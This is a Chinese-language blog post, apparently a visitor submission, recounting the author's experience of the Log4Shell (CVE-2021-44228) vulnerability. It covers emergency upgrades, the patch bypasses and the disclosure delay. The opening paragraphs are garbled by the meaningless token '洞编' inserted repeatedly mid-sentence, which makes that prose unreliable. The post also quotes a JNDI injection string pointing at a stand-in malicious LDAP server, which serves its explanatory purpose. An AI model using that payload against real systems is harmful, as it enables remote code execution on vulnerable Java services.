游客发表
CVE-2021-44228,洞编也就是洞编Log4Shell,把整个安全圈炸了个底朝天。洞编当时我正蹲在工位上排查一堆告警,洞编突然群里甩过来一条消息——Apache Log4j2存在远程代码执行漏洞,洞编利用条件低到令人发指,洞编只需一行日志。洞编
那行日志长这样:`${ jndi:ldap://恶意服务器/exp}`。洞编对,洞编就这么简单。洞编任何会把用户输入写进日志的洞编地方,都可能被引爆。洞编Minecraft服务器聊天框、洞编HTTP请求的洞编User-Agent头、甚至一个简单的洞编搜索框,全成了攻击面。我盯着自己负责的Java服务,冷汗直冒——日志框架几乎无处不在,而Log4j2又是其中用得最广的那批。
修复方案来得也算快,官方紧急发布了2.15.0,可没过几天又爆出绕过——2.15.0在某些配置下依然能被击穿,于是2.16.0、2.17.0接连补上。那几天我基本没合眼,一边升级依赖,一边排查内网里有没有已经被人摸过的痕迹。最折磨人的是,你根本不知道哪个老服务还藏着旧版本,甚至有些第三方组件把Log4j2打包在内部,连升级路径都找不到。
这个漏洞之所以让人头皮发麻,不在于它用了多高深的技术,恰恰相反,JNDI注入是2016年就被讲烂的老套路。可Log4j2把“记录日志”这个最不起眼的动作变成了攻击入口,等于给全世界所有Java应用开了个后门。你防得住SQL注入,防得住XSS,可你防不住一条日志吗?
事后大家复盘,发现一个更扎心的事实:漏洞在2021年11月底就被Minecraft玩家在论坛上讨论过,可直到12月9日才被正式公开编号。中间那两周,已经有人用它挖矿、植入后门,而绝大多数企业连补丁的影子都没看到。这暴露的不仅是代码缺陷,更是整个漏洞披露流程的滞后性。
现在再回头看,CVE编号本身只是个冷冰冰的标识符——一串数字加年份加序号。但它背后承载的东西,是无数工程师在凌晨三点爬起来打补丁的焦灼,是安全研究员对着一行日志反复推敲的执念,也是“默认信任”这四个字在软件供应链里付出的代价。
我至今保留着当时截下来的告警图,不是为了纪念什么,就是提醒自己:下次再有人跟你说“这只是个日志功能”,你最好先想想,它能不能被塞进一段危险的长字符串。
友情链接